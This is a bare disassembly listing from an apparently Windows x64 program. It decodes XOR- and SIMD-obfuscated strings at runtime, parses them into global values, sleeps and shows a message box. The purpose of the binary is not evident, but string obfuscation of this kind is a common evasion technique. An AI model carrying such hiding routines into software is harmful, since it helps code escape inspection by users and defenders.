jb 0x14004597a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400470a8
call fcn.14000ee30
test bl, bl
je 0x140045adb
call fcn.1400471e0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2a0]
call fcn.140011900
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rdx, qword [rsp + 0x128]
mov r8d, 2
lea rcx, [rsp + 0x2a0]
call fcn.140004780
nop
cmp qword [rsp + 0x328], 0
je 0x140045ace
imul rbx, qword [0x140fb3ef8], 7
mov eax, dword [str.kspn_5]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140061810]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x5b
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor al, 0x34
mov byte [rsp + 0x44], al
xor byte [rsp + 0x45], 0x35
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2a0]
call fcn.140002730
mov eax, dword [0x140061980]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140061984]
mov byte [rsp + 0x40], 0x41
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor al, 0x34
mov byte [rsp + 0x44], al
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2a0]
call fcn.140002730
mov rdx, rbx
mov rcx, rax
call fcn.140009910
movzx ecx, word [0x140061a04]
mov word [rsp + 0x30], cx
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140002730
movzx eax, word [0x140061a04]
mov word [rsp + 0x30], ax
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2a0]
call fcn.140002730
lea rcx, [rsp + 0x2a0]
call fcn.1400046e0
nop
lea rcx, [rsp + 0x2a0]
call fcn.140003800
mov eax, dword [0x140061d68]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140061d6c]
vmovsd xmm0, qword [0x140061d60]
mov word [rsp + 0x4c], ax
vmovsd qword [rsp + 0x40], xmm0
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [0x140061d60]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
mov esi, 8
mov r8d, esi
lea r9, [rsp + 0x48]
nop word [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140045be0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rdi
lea rax, [rsp + 0x40]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140045c30
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x148]
call fcn.140002d60
nop
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 0x10
cmovae rax, qword [rsp + 0x148]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xc8], rax
call fcn.14000e544
vmovups xmm0, xmmword [rsp + 0xc0]
vmovdqa xmmword [rsp + 0xc0], xmm0
lea r8, [rsp + 0xc0]
mov edx, eax
lea rcx, [rsp + 0x108]
call fcn.140005c00
nop
lea rcx, [rsp + 0x108]
call fcn.140006630
movzx ebx, al
mov rdx, qword [rsp + 0x120]
cmp rdx, 8
jb 0x140045d06
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045d01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400470ae
call fcn.14000ee30
test bl, bl
je 0x1400465a4
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x108]
call fcn.140002450
lea r8, [0x140fb3f90]
mov rdx, rax
lea rcx, [rsp + 0x278]
call fcn.140008370
nop
lea rcx, [rsp + 0x278]
call fcn.140008500
mov eax, dword [str.tPFR4]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140061808]
mov byte [rsp + 0x30], 0x44
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor al, 0x34
mov byte [rsp + 0x34], al
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rdi
lea rax, [rsp + 0x30]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140045da0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xc0]
call fcn.140002d60
nop
movzx eax, word [0x140061960]
mov word [rsp + 0x30], ax
mov byte [rsp + 0x30], 0x41
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
lea rax, [rsp + 0x30]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140045e00
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x108]
call fcn.140002d60
nop
movzx eax, word [0x140061a40]
mov word [rsp + 0x30], ax
cmp byte [0x140061a41], 0
je 0x140045e3c
mov byte [rsp + 0x30], 0x42
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x218], xmm0
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x230], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045e61
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x218]
call fcn.140002d60
nop
movzx eax, word [0x1400619a8]
mov word [rsp + 0x30], ax
cmp byte [0x1400619a9], 0
je 0x140045e9d
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1f8], xmm0
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x210], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045ec2
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1f8]
call fcn.140002d60
nop
movzx eax, word [0x1400618ec]
mov word [rsp + 0x30], ax
cmp byte [0x1400618ed], 0
je 0x140045efe
mov byte [rsp + 0x30], 0x44
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1d8], xmm0
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045f23
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1d8]
call fcn.140002d60
nop
movzx eax, word [0x140061d14]
mov word [rsp + 0x30], ax
cmp byte [0x140061d15], 0
je 0x140045f5f
mov byte [rsp + 0x30], 0x45
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1b8], xmm0
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045f84
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1b8]
call fcn.140002d60
nop
movzx eax, word [0x140061a70]
mov word [rsp + 0x30], ax
cmp byte [0x140061a71], 0
je 0x140045fc0
mov byte [rsp + 0x30], 0x46
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x258], xmm0
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140045fe5
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x258]
call fcn.140002d60
nop
movzx eax, word [0x140061c98]
mov word [rsp + 0x30], ax
cmp byte [0x140061c99], 0
je 0x140046021
mov byte [rsp + 0x30], 0x47
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], rdi
mov qword [rsp + 0x250], rdi
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140046046
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x238]
call fcn.140002d60
nop
movzx eax, word [0x140061aa8]
mov word [rsp + 0x30], ax
cmp byte [0x140061aa9], 0
je 0x140046082
mov byte [rsp + 0x30], 0x48
xor byte [rsp + 0x31], 0x31
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x168], xmm0
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], rdi
lea rax, [rsp + 0x30]
inc r14
cmp byte [rax + r14], 0
jne 0x1400460a4
mov r8, r14
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x168]
call fcn.140002d60
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x60]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0xe0]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x14004611d
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcd8], edx
lea rcx, [rsp + 0xe0]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x1400461a9
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bce0], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x140046232
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bce4], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x1400462bb
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcdc], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x140046344
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcec], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x1400463cd
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcd4], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x140046456
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcd0], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xe0]
call fcn.140002450
mov rbx, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.140002450
nop
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140fb3f90]
call fcn.140008070
cmp qword [rax + 0x18], 0x10
jb 0x1400464df
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e39c
mov ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x14006bcb8], edx
lea rcx, [rsp + 0x60]
call fcn.1400023b0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x168]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x238]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x258]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x1b8]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x1d8]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x218]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x108]
call fcn.1400023b0
nop
lea rcx, [rsp + 0xc0]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x278]
call fcn.1400023b0
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x1400465e7
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400465e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047012
call fcn.14000ee30
mov eax, dword [0x140061b28]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140061b2c]
vmovsd xmm0, qword [0x140061b20]
mov word [rsp + 0x4c], ax
vmovsd qword [rsp + 0x40], xmm0
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [0x140061b20]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
mov r8d, esi
lea r9, [rsp + 0x48]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400466e1
lea rcx, [rsp + 0x40]
call fcn.1400036e0
cmp qword [0x140fb3ef8], 0
jne 0x14004687e
vmovsd xmm0, qword [0x140061b60]
vmovsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140061b68]
mov dword [rsp + 0x48], eax
cmp byte [0x140061b6b], 0
je 0x140046846
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [0x140061b60]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
lea r8, [rsp + 0x48]
nop word [rax + rax]
mov eax, 0x5397829d
mul esi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xc
jl 0x140046820
xor r9d, r9d
lea r8, [0x140060e48]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rsp + 0x128]
call fcn.1400023b0
nop
lea rcx, [rsp + 0x198]
call fcn.1400023b0
jmp 0x140044efd
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140007390]
lea rcx, [0x1401a2680]
call fcn.140009d10
mov r11, rax
lea rdx, [rsp + 0xc0]
call fcn.140044260
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400469b9
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov ecx, dword [0x140061fe0]
vmovd xmm0, ecx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rax]
vpxor xmm1, xmm1, xmm0
vmovd dword [rax], xmm1
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm7
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, ecx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rax + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rax + 4], xmm1
mov r8d, esi
lea r9, [rax + 8]
nop word [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140046990
mov rdx, r10
mov rcx, r11
call fcn.140002730
mov r8, rax
lea rdx, [rsp + 0x30]
call fcn.140044230
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140046a06
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor byte [rax + 5], 0x35
xor byte [rax + 6], 0x36
xor byte [rax + 7], 0x37
xor byte [rax + 8], 0x38
xor byte [rax + 9], 0x39
xor cl, 0x3a
mov byte [rax + 0xa], cl
mov rdx, rax
mov rcx, r8
call fcn.140002730
mov edx, dword [0x140fb3f04]
mov rcx, rax
call fcn.140009b10
lea rdx, [0x1400073b0]
mov rcx, rax
call fcn.140009d10
mov r8, rax
lea rdx, [rsp + 0x40]
call fcn.140044200
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140046a6c
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor byte [rax + 5], 0x35
xor byte [rax + 6], 0x36
xor byte [rax + 7], 0x37
xor byte [rax + 8], 0x38
xor cl, 0x39
mov byte [rax + 9], cl
mov rdx, rax
mov rcx, r8
call fcn.140002730
mov edx, dword [0x140fb3f04]
mov rcx, rax
call fcn.140009b10
mov rcx, rax
call fcn.140002370
lea rdx, [rsp + 0xc0]
call fcn.1400441c0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140046ba9
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov ecx, dword [0x140061fe0]
vmovd xmm0, ecx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rax]
vpxor xmm1, xmm1, xmm0
vmovd dword [rax], xmm1
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm7
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, ecx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rax + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rax + 4], xmm1
mov r8d, esi
lea r9, [rax + 8]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140046b80
mov rdx, r10
lea rcx, [0x1401a2680]
call fcn.140002730
mov r10, rax
lea rdx, [rsp + 0x40]
call fcn.140044180
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x140046cc6
vmovdqu xmm9, xmmword [0x140062020]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov ecx, dword [0x140061fe0]
vmovd xmm0, ecx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rax]
vpxor xmm1, xmm1, xmm0
vmovd dword [rax], xmm1
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm7
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x140061f20]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, ecx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rax + 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rax + 4], xmm1
lea r8, [rax + 8]
nop dword [rax]
